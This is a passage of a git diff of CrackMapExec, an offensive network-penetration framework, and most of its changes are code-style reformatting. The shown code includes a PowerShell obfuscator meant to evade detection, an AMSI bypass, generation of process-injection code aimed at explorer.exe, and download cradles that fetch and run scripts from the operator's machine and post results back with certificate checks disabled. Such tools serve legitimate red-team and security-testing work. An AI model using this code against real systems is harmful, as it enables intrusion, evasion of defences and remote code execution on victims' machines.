os.path.exists(obfs_ps_script): - cme_logger.display('Using cached obfuscated Powershell script') - with open(obfs_ps_script, 'r') as script: + cme_logger.display("Using cached obfuscated Powershell script") + with open(obfs_ps_script, "r") as script: return script.read() - cme_logger.display('Performing one-time script obfuscation, go look at some memes cause this can take a bit...') + cme_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...") invoke_obfs_command = f"powershell -C 'Import-Module {get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1')};Invoke-Obfuscation -ScriptPath {get_ps_script(path_to_script)} -Command \"TOKEN,ALL,1,OUT {obfs_ps_script}\" -Quiet'" cme_logger.debug(invoke_obfs_command) - with open(os.devnull, 'w') as devnull: + with open(os.devnull, "w") as devnull: return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True) - cme_logger.success('Script obfuscated successfully') + cme_logger.success("Script obfuscated successfully") - with open(obfs_ps_script, 'r') as script: + with open(obfs_ps_script, "r") as script: return script.read() else: - with open(get_ps_script(path_to_script), 'r') as script: + with open(get_ps_script(path_to_script), "r") as script: """ Strip block comments, line comments, empty lines, verbose statements, and debug statements from a PowerShell source file. @@ -62,7 +61,7 @@ def obfs_ps_script(path_to_script): # strip block comments stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read()) # strip blank lines, lines starting with #, and verbose/debug statements - stripped_code = "\n".join([line for line in stripped_code.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))]) + stripped_code = "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))]) return stripped_code @@ -73,7 +72,7 @@ def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi lines = [] for line in file_in: lines.append(line) - amsi_bypass = ''.join(lines) + amsi_bypass = "".join(lines) else: amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ @@ -82,7 +81,9 @@ try{ """ if force_ps32: - command = amsi_bypass + """ + command = ( + amsi_bypass + + """ $functions = {{ function Command-ToExecute {{ @@ -99,12 +100,15 @@ else IEX "$functions" Command-ToExecute }} -""".format(command=amsi_bypass + ps_command) +""".format( + command=amsi_bypass + ps_command + ) + ) else: command = amsi_bypass + ps_command - cme_logger.debug('Generated PS command:\n {}\n'.format(command)) + cme_logger.debug("Generated PS command:\n {}\n".format(command)) # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed # concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way @@ -161,10 +165,10 @@ else return command -def gen_ps_inject(command, context=None, procname='explorer.exe', inject_once=False): +def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False): # The following code gives us some control over where and how Invoke-PSInject does its thang # It prioritizes injecting into a process of the active console session - ps_code = ''' + ps_code = """ $injected = $False $inject_once = {inject_once} $command = "{command}" @@ -191,14 +195,14 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{ catch {{}} }} }} -'''.format( - inject_once='$True' if inject_once else '$False', +""".format( + inject_once="$True" if inject_once else "$False", command=encode_ps_command(command), - procname=procname + procname=procname, ) if context: - return gen_ps_iex_cradle(context, 'Invoke-PSInject.ps1', ps_code, post_back=False) + return gen_ps_iex_cradle(context, "Invoke-PSInject.ps1", ps_code, post_back=False) return ps_code @@ -215,23 +219,24 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri port=context.server_port, addr=context.localip, ps_script_name=scripts, - command=command if post_back is False else '' + command=command if post_back is False else "", ).strip() elif type(scripts) is list: - launcher = '[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n' + launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n" launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'" for script in scripts: launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format( server=context.server, port=context.server_port, addr=context.localip, - script=script) + script=script, + ) launcher.strip() - launcher += command if post_back is False else '' + launcher += command if post_back is False else "" if post_back is True: - launcher += ''' + launcher += """ $cmd = {command} $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/') $request.Method = 'POST' @@ -241,11 +246,11 @@ $request.ContentLength = $bytes.Length $requestStream = $request.GetRequestStream() $requestStream.Write($bytes, 0, $bytes.Length) $requestStream.Close() -$request.GetResponse()'''.format( +$request.GetResponse()""".format( server=context.server, port=context.server_port, addr=context.localip, - command=command + command=command, ) cme_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n") @@ -256,11 +261,26 @@ $request.GetResponse()'''.format( # Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py def invoke_obfuscation(script_string): # Add letters a-z with random case to $RandomDelimiters. - alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase) + alphabet = "".join(choice([i.upper(), i]) for i in ascii_lowercase) # Create list of random delimiters called random_delimiters. # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax. - random_delimiters = ['_', '-', ',', '{', '}', '~', '!', '@', '%', '&', '<', '>', ';', ':'] + random_delimiters = [ + "_", + "-", + ",", + "{", + "}", + "~", + "!", + "@", + "%", + "&", + "<", + ">", + ";", + ":", + ] for i in alphabet: random_delimiters.append(i) @@ -269,7 +289,7 @@ def invoke_obfuscation(script_string): random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))] # Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters. - delimited_encoded_array = '' + delimited_encoded_array = "" for char in script_string: delimited_encoded_array += str(ord(char)) + choice(random_delimiters) @@ -277,42 +297,40 @@ def invoke_obfuscation(script_string): delimited_encoded_array = delimited_encoded_array[:-1] # Create printable version of $RandomDelimiters in random order to be used by final command. test = sample(random_delimiters, len(random_delimiters)) - random_delimiters_to_print = ''.join(i for i in test) + random_delimiters_to_print = "".join(i for i in test) # Generate random case versions for necessary operations. - for_each_object = choice(['ForEach', 'ForEach-Object', '%']) - str_join = ''.join(choice([i.upper(), i.lower()]) for i in '[String]::Join') - str_str = ''.join(choice([i.upper(), i.lower()]) for i in '[String]') - join = ''.join(choice([i.upper(), i.lower()]) for i in '-Join') - char_str = ''.join(choice([i.upper(), i.lower()]) for i in 'Char') - integer = ''.join(choice([i.upper(), i.lower()]) for i in 'Int') - for_each_object = ''.join(choice([i.upper(), i.lower()]) for i in for_each_object) + for_each_object = choice(["ForEach", "ForEach-Object", "%"]) + str_join = "".join(choice([i.upper(), i.lower()]) for i in "[String]::Join") + str_str = "".join(choice([i.upper(), i.lower()]) for i in "[String]") + join = "".join(choice([i.upper(), i.lower()]) for i in "-Join") + char_str = "".join(choice([i.upper(), i.lower()]) for i in "Char") + integer = "".join(choice([i.upper(), i.lower()]) for i in "Int") + for_each_object = "".join(choice([i.upper(), i.lower()]) for i in for_each_object) # Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax - random_delimiters_to_print_for_dash_split = '' + random_delimiters_to_print_for_dash_split = "" for delim in random_delimiters: # Random case 'split' string. - split = ''.join(choice([i.upper(), i.lower()]) for i in 'Split') - random_delimiters_to_print_for_dash_split += '-' + split + choice(['', ' ']) + '\'' + delim + '\'' + choice( - ['', ' ']) + split = "".join(choice([i.upper(), i.lower()]) for i in "Split") + random_delimiters_to_print_for_dash_split += "-" + split + choice(["", " "]) + "'" + delim + "'" + choice(["", " "]) - random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip('\t\n\r') + random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip("\t\n\r") # Randomly select between various conversion syntax options. random_conversion_syntax = [ - '[' + char_str + ']' + choice(['', ' ']) + '[' + integer + ']' + choice(['', ' ']) + '$_', - '[' + integer + ']' + choice(['', ' ']) + '$_' + choice(['', ' ']) + choice( - ['-as', '-As', '-aS', '-AS']) + choice(['', ' ']) + '[' + char_str + ']' + "[" + char_str + "]" + choice(["", " "]) + "[" + integer + "]" + choice(["", " "]) + "$_", + "[" + integer + "]" + choice(["", " "]) + "$_" + choice(["", " "]) + choice(["-as", "-As", "-aS", "-AS"]) + choice(["", " "]) + "[" + char_str + "]", ] random_conversion_syntax = choice(random_conversion_syntax) # Create array syntax for encoded scriptString as alternative to .Split/-Split syntax. - encoded_array = '' + encoded_array = "" for char in script_string: - encoded_array += str(ord(char)) + choice(['', ' ']) + ',' + choice(['', ' ']) + encoded_array += str(ord(char)) + choice(["", " "]) + "," + choice(["", " "]) # Remove trailing comma from encoded_array - encoded_array = '(' + choice(['', ' ']) + encoded_array.rstrip().rstrip(',') + ')' + encoded_array = "(" + choice(["", " "]) + encoded_array.rstrip().rstrip(",") + ")" # Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable). # Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists. @@ -322,52 +340,34 @@ def invoke_obfuscation(script_string): # https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables set_ofs_var_syntax = [ - 'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "''", - choice(['Set-Variable', 'SV', 'SET']) + choice([' ' * 1, ' ' * 2]) + "'OFS'" + choice( - [' ' * 1, ' ' * 2]) + "''" + "Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "''", + choice(["Set-Variable", "SV", "SET"]) + choice([" " * 1, " " * 2]) + "'OFS'" + choice([" " * 1, " " * 2]) + "''", ] set_ofs_var = choice(set_ofs_var_syntax) set_ofs_var_back_syntax = [ - 'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "' '", - 'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "' '" + "Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '", + "Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '", ] set_ofs_var_back = choice(set_ofs_var_back_syntax) # Randomize case of $SetOfsVar and $SetOfsVarBack. - set_ofs_var = ''.join(choice([i.upper(), i.lower()]) for i in set_ofs_var) - set_ofs_var_back = ''.join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back) + set_ofs_var = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var) + set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back) # Generate the code that will decrypt and execute the payload and randomly select one. baseScriptArray = [ - '[' + char_str + '[]' + ']' + choice(['', ' ']) + encoded_array, - '(' + choice(['', ' ']) + "'" + delimited_encoded_array + "'." + split + "(" + choice( - ['', ' ']) + "'" + random_delimiters_to_print + "'" + choice(['', ' ']) + ')' + choice( - ['', ' ']) + '|' + choice(['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice( - ['', ' ']) + '(' + choice(['', ' ']) + random_conversion_syntax + ')' + choice( - ['', ' ']) + '}' + choice(['', ' ']) + ')', - '(' + choice(['', ' ']) + "'" + delimited_encoded_array + "'" + choice( - ['', ' ']) + random_delimiters_to_print_for_dash_split + choice(['', ' ']) + '|' + choice( - ['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice( - ['', ' ']) + random_conversion_syntax + ')' + choice(['', ' ']) + '}' + choice( - ['', ' ']) + ')', '(' + choice(['', ' ']) + encoded_array + choice(['', ' ']) + '|' + choice( - ['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice( - ['', ' ']) + random_conversion_syntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')' + "[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array, + "(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")", + "(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")", + "(" + choice(["", " "]) + encoded_array + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")", ] # Generate random JOIN syntax for all above options new_script_array = [ - choice(baseScriptArray) + choice(['', ' ']) + join + choice(['', ' ']) + "''", - join + choice(['', ' ']) + choice(baseScriptArray), - str_join + '(' + choice(['', ' ']) + "''" + choice(['', ' ']) + ',' + choice( - ['', ' ']) + choice( - baseScriptArray) + choice(['', ' ']) + ')', - '"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + set_ofs_var + choice( - ['', ' ']) + ')' + choice( - ['', ' ']) + '"' + choice(['', ' ']) + '+' + choice(['', ' ']) + str_str + choice( - baseScriptArray) + choice( - ['', ' ']) + '+' + '"' + choice(['', ' ']) + '$(' + choice( - ['', ' ']) + set_ofs_var_back + choice( - ['', ' ']) + ')' + choice(['', ' ']) + '"' + choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''", + join + choice(["", " "]) + choice(baseScriptArray), + str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")", + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"', ] # Randomly select one of the above commands. @@ -376,36 +376,31 @@ def invoke_obfuscation(script_string): # Generate random invoke operation syntax # Below code block is a copy from Out-ObfuscatedStringCommand.ps1 # It is copied into this encoding function so that this will remain a standalone script without dependencies - invoke_expression_syntax = [choice(['IEX', 'Invoke-Expression'])] + invoke_expression_syntax = [choice(["IEX", "Invoke-Expression"])] # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &. # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator, # but not a silver bullet # These methods draw on common environment variable values and PowerShell Automatic Variable # values/methods/members/properties/etc. - invocationOperator = choice(['.', '&']) + choice(['', ' ']) + invocationOperator = choice([".", "&"]) + choice(["", " "]) invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')") - invoke_expression_syntax.append( - invocationOperator + "( $PSHome[" + choice(['4', '21']) + "]+$PSHOME[" + choice(['30', '34']) + "]+'x')") + invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')") invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')") - invoke_expression_syntax.append( - invocationOperator + "( $env:ComSpec[4," + choice(['15', '24', '26']) + ",25]-Join'')") - invoke_expression_syntax.append( - invocationOperator + "((" + choice(['Get-Variable', 'GV', 'Variable']) + " '*mdr*').Name[3,11,2]-Join'')") - invoke_expression_syntax.append(invocationOperator + "( " + choice( - ['$VerbosePreference.ToString()', '([String]$VerbosePreference)']) + "[1,3]+'x'-Join'')") + invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')") + invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')") + invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')") # Randomly choose from above invoke operation syntaxes. invokeExpression = choice(invoke_expression_syntax) # Randomize the case of selected invoke operation. - invokeExpression = ''.join(choice([i.upper(), i.lower()]) for i in invokeExpression) + invokeExpression = "".join(choice([i.upper(), i.lower()]) for i in invokeExpression) # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) invokeOptions = [ - choice(['', ' ']) + invokeExpression + choice(['', ' ']) + '(' + choice(['', ' ']) + newScript + choice( - ['', ' ']) + ')' + choice(['', ' ']), - choice(['', ' ']) + newScript + choice(['', ' ']) + '|' + choice(['', ' ']) + invokeExpression + choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]), + choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression, ] obfuscated_payload = choice(invokeOptions) diff --git a/cme/loaders/moduleloader.py b/cme/loaders/moduleloader.py index 83fada77..17784ce8 100755 --- a/cme/loaders/moduleloader.py +++ b/cme/loaders/moduleloader.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- import importlib -import os +from os import listdir +from os.path import dirname +from os.path import join as path_join import sys import cme @@ -76,14 +78,14 @@ class ModuleLoader: self.logger.debug(f"Protocol: {self.args.protocol}") if self.args.protocol in module.supported_protocols: try: - module_logger = CMEAdapter(extra={'module_name': module.name.upper()}) + module_logger = CMEAdapter(extra={"module_name": module.name.upper()}) except Exception as e: self.logger.fail(f"Error loading CMEAdaptor for module {module.name.upper()}: {e}") context = Context(self.db, module_logger, self.args) module_options = {} for option in self.args.module_options: - key, value = option.split('=', 1) + key, value = option.split("=", 1) module_options[str(key).upper()] = value module.options(context, module_options) @@ -101,15 +103,14 @@ class ModuleLoader: module_spec = spec.loader.load_module().CMEModule module = { - f"{module_spec.name.lower()}": - { - "path": module_path, - "description": module_spec.description, - "options": module_spec.options.__doc__, - "supported_protocols": module_spec.supported_protocols, - "opsec_safe": module_spec.opsec_safe, - "multiple_hosts": module_spec.multiple_hosts, - } + f"{module_spec.name.lower()}": { + "path": module_path, + "description": module_spec.description, + "options": module_spec.options.__doc__, + "supported_protocols": module_spec.supported_protocols, + "opsec_safe": module_spec.opsec_safe, + "multiple_hosts": module_spec.multiple_hosts, + } } if self.module_is_sane(module_spec, module_path): return module @@ -122,12 +123,15 @@ class ModuleLoader: List modules without initializing them """ modules = {} - modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(CME_PATH, 'modules')] + modules_paths = [ + path_join(dirname(cme.__file__), "modules"), + path_join(CME_PATH, "modules"), + ] for path in modules_paths: - for module in os.listdir(path): - if module[-3:] == '.py' and module != 'example_module.py': - module_path = os.path.join(path, module) + for module in listdir(path): + if module[-3:] == ".py" and module != "example_module.py": + module_path = path_join(path, module) module_data = self.get_module_info(module_path) modules.update(module_data) return modules diff --git a/cme/loaders/protocolloader.py b/cme/loaders/protocolloader.py index ee827e0a..d5ad25aa 100755 --- a/cme/loaders/protocolloader.py +++ b/cme/loaders/protocolloader.py @@ -2,37 +2,42 @@ # -*- coding: utf-8 -*- import types from importlib.machinery import SourceFileLoader -import os +from os import listdir +from os.path import join as path_join +from os.path import dirname, exists, expanduser import cme class ProtocolLoader: def __init__(self): - self.cme_path = os.path.expanduser('~/.cme') + self.cme_path = expanduser("~/.cme") def load_protocol(self, protocol_path): - loader = SourceFileLoader('protocol', protocol_path) + loader = SourceFileLoader("protocol", protocol_path) protocol = types.ModuleType(loader.name) loader.exec_module(protocol) return protocol def get_protocols(self): protocols = {} - protocol_paths = [os.path.join(os.path.dirname(cme.__file__), 'protocols'), os.path.join(self.cme_path, 'protocols')] + protocol_paths = [ + path_join(dirname(cme.__file__), "protocols"), + path_join(self.cme_path, "protocols"), + ] for path in protocol_paths: - for protocol in os.listdir(path): - if protocol[-3:] == '.py' and protocol[:-3] != '__init__': - protocol_path = os.path.join(path, protocol) + for protocol in listdir(path): + if protocol[-3:] == ".py" and protocol[:-3] != "__init__": + protocol_path = path_join(path, protocol) protocol_name = protocol[:-3] - protocols[protocol_name] = {'path': protocol_path} + protocols[protocol_name] = {"path": protocol_path} - db_file_path = os.path.join(path, protocol_name, 'database.py') - db_nav_path = os.path.join(path, protocol_name, 'db_navigator.py') - if os.path.exists(db_file_path): - protocols[protocol_name]['dbpath'] = db_file_path - if os.path.exists(db_nav_path): - protocols[protocol_name]['nvpath'] = db_nav_path + db_file_path = path_join(path, protocol_name, "database.py") + db_nav_path = path_join(path, protocol_name, "db_navigator.py") + if exists(db_file_path): + protocols[protocol_name]["dbpath"] = db_file_path + if exists(db_nav_path): + protocols[protocol_name]["nvpath"] = db_nav_path return protocols diff --git a/cme/logger.py b/cme/logger.py index 8db13111..d7a98168 100755 --- a/cme/logger.py +++ b/cme/logger.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- import logging +from logging import LogRecord from logging.handlers import RotatingFileHandler import os.path import sys @@ -18,11 +19,13 @@ class CMEAdapter(logging.LoggerAdapter): logging.basicConfig( format="%(message)s", datefmt="[%X]", - handlers=[RichHandler( - console=cme_console, - rich_tracebacks=True, - tracebacks_show_locals=False - )] + handlers=[ + RichHandler( + console=cme_console, + rich_tracebacks=True, + tracebacks_show_locals=False, + ) + ], ) self.logger = logging.getLogger("cme") self.extra = extra @@ -40,25 +43,34 @@ class CMEAdapter(logging.LoggerAdapter): if self.extra is None: return f"{msg}", kwargs - if 'module_name' in self.extra.keys(): + if "module_name" in self.extra.keys(): if len(self.extra["module_name"]) > 8: self.extra["module_name"] = self.extra["module_name"][:8] + "..." # If the logger is being called when hooking the 'options' module function if len(self.extra) == 1 and ("module_name" in self.extra.keys()): - return f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs + return ( + f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", + kwargs, + ) # If the logger is being called from CMEServer if len(self.extra) == 2 and ("module_name" in self.extra.keys()) and ("host" in self.extra.keys()): - return f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs + return ( + f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", + kwargs, + ) # If the logger is being called from a protocol if "module_name" in self.extra.keys(): - module_name = colored(self.extra["module_name"], 'cyan', attrs=["bold"]) + module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) else: - module_name = colored(self.extra["protocol"], 'blue', attrs=["bold"]) + module_name = colored(self.extra["protocol"], "blue", attrs=["bold"]) - return f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs + return ( + f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", + kwargs, + ) def display(self, msg, *args, **kwargs): """ @@ -75,17 +87,17 @@ class CMEAdapter(logging.LoggerAdapter): cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) - def success(self, msg, *args, **kwargs): + def success(self, msg, color='green', *args, **kwargs): """ Print some sort of success to the user """ try: - if 'protocol' in self.extra.keys() and not called_from_cmd_args(): + if "protocol" in self.extra.keys() and not called_from_cmd_args(): return except AttributeError: pass - msg, kwargs = self.format(f"{colored('[+]', 'green', attrs=['bold'])} {msg}", kwargs) + msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs) text = Text.from_ansi(msg) cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @@ -95,7 +107,7 @@ class CMEAdapter(logging.LoggerAdapter): Prints a completely yellow highlighted message to the user """ try: - if 'protocol' in self.extra.keys() and not called_from_cmd_args(): + if "protocol" in self.extra.keys() and not called_from_cmd_args(): return except AttributeError: pass @@ -105,16 +117,16 @@ class CMEAdapter(logging.LoggerAdapter): cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) - def fail(self, msg, *args, **kwargs): + def fail(self, msg, color='red', *args, **kwargs): """ Prints a failure (may or may not be an error) - e.g. login creds didn't work """ try: - if 'protocol' in self.extra.keys() and not called_from_cmd_args(): + if "protocol" in self.extra.keys() and not called_from_cmd_args(): return except AttributeError: pass - msg, kwargs = self.format(f"{colored('[-]', 'red', attrs=['bold'])} {msg}", kwargs) + msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs) text = Text.from_ansi(msg) cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @@ -127,10 +139,10 @@ class CMEAdapter(logging.LoggerAdapter): if self.logger.getEffectiveLevel() >= logging.INFO: # will be 0 if it's just the console output, so only do this if we actually have file loggers if len(self.logger.handlers): - for handler in self.logger.handlers: - try: + try: + for handler in self.logger.handlers: handler.handle( - logging.LogRecord( + LogRecord( "cme", 20, "", @@ -140,8 +152,8 @@ class CMEAdapter(logging.LoggerAdapter): exc_info=None, ) ) - except Exception as e: - self.logger.fail(f"Issue while trying to custom print handler: {e}") + except Exception as e: + self.logger.fail(f"Issue while trying to custom print handler: {e}") else: self.logger.info(text) @@ -151,7 +163,7 @@ class CMEAdapter(logging.LoggerAdapter): file_creation = False if not os.path.isfile(output_file): - open(output_file, 'x') + open(output_file, "x") file_creation = True file_handler = RotatingFileHandler(output_file, maxBytes=100000) @@ -168,18 +180,21 @@ class CMEAdapter(logging.LoggerAdapter): @staticmethod def init_log_file(): + newpath = os.path.expanduser("~/.cme") + "/logs/" + datetime.now().strftime('%Y-%m-%d') + if not os.path.exists(newpath): + os.makedirs(newpath) log_filename = os.path.join( - os.path.expanduser( - "~/.cme" - ), + os.path.expanduser("~/.cme"), "logs", - f"full-log_{datetime.now().strftime('%Y-%m-%d')}.log" + datetime.now().strftime('%Y-%m-%d'), + f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log", ) return log_filename class TermEscapeCodeFormatter(logging.Formatter): """A class to strip the escape codes for logging to files""" + def __init__(self, fmt=None, datefmt=None, style="%", validate=True): super().__init__(fmt, datefmt, style, validate) diff --git a/cme/modules/IOXIDResolver.py b/cme/modules/IOXIDResolver.py index 720d230b..32bddb64 100644 --- a/cme/modules/IOXIDResolver.py +++ b/cme/modules/IOXIDResolver.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- # Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/ -# Airbus CERT +# Airbus CERT # module by @mpgn_x64 from ipaddress import ip_address @@ -10,23 +10,21 @@ from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE from impacket.dcerpc.v5.dcomrt import IObjectExporter -class CMEModule: - name = 'ioxidresolver' +class CMEModule: + name = "ioxidresolver" description = "Thie module helps you to identify hosts that have additional active interfaces" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = False def options(self, context, module_options): - """ - """ - + """ """ def on_login(self, context, connection): authLevel = RPC_C_AUTHN_LEVEL_NONE - stringBinding = r'ncacn_ip_tcp:%s' % connection.host + stringBinding = r"ncacn_ip_tcp:%s" % connection.host rpctransport = transport.DCERPCTransportFactory(stringBinding) portmap = rpctransport.get_dce_rpc() @@ -38,13 +36,11 @@ class CMEModule: context.log.debug("[*] Retrieving network interface of " + connection.host) - #NetworkAddr = bindings[0]['aNetworkAddr'] + # NetworkAddr = bindings[0]['aNetworkAddr'] for binding in bindings: - NetworkAddr = binding['aNetworkAddr'] + NetworkAddr = binding["aNetworkAddr"] try: ip_address(NetworkAddr[:-1]) context.log.highlight("Address: " + NetworkAddr) except Exception as e: context.log.debug(e) - - diff --git a/cme/modules/MachineAccountQuota.py b/cme/modules/MachineAccountQuota.py index 460fd2ea..59b4753e 100644 --- a/cme/modules/MachineAccountQuota.py +++ b/cme/modules/MachineAccountQuota.py @@ -1,31 +1,32 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- + class CMEModule: """ - Module by Shutdown and Podalirius + Module by Shutdown and Podalirius - Initial module: - https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota + Initial module: + https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota - Authors: - Shutdown: @_nwodtuhs - Podalirius: @podalirius_ + Authors: + Shutdown: @_nwodtuhs + Podalirius: @podalirius_ """ def options(self, context, module_options): pass - name = 'MAQ' - description = 'Retrieves the MachineAccountQuota domain-level attribute' - supported_protocols = ['ldap'] + name = "MAQ" + description = "Retrieves the MachineAccountQuota domain-level attribute" + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = False - def on_login(self, context, connection): + def on_login(self, context, connection): result = [] - context.log.display('Getting the MachineAccountQuota') - searchFilter = '(objectClass=*)' - attributes = ['ms-DS-MachineAccountQuota'] + context.log.display("Getting the MachineAccountQuota") + searchFilter = "(objectClass=*)" + attributes = ["ms-DS-MachineAccountQuota"] result = connection.search(searchFilter, attributes) - context.log.highlight("MachineAccountQuota: %d" % result[0]['attributes'][0]['vals'][0]) + context.log.highlight("MachineAccountQuota: 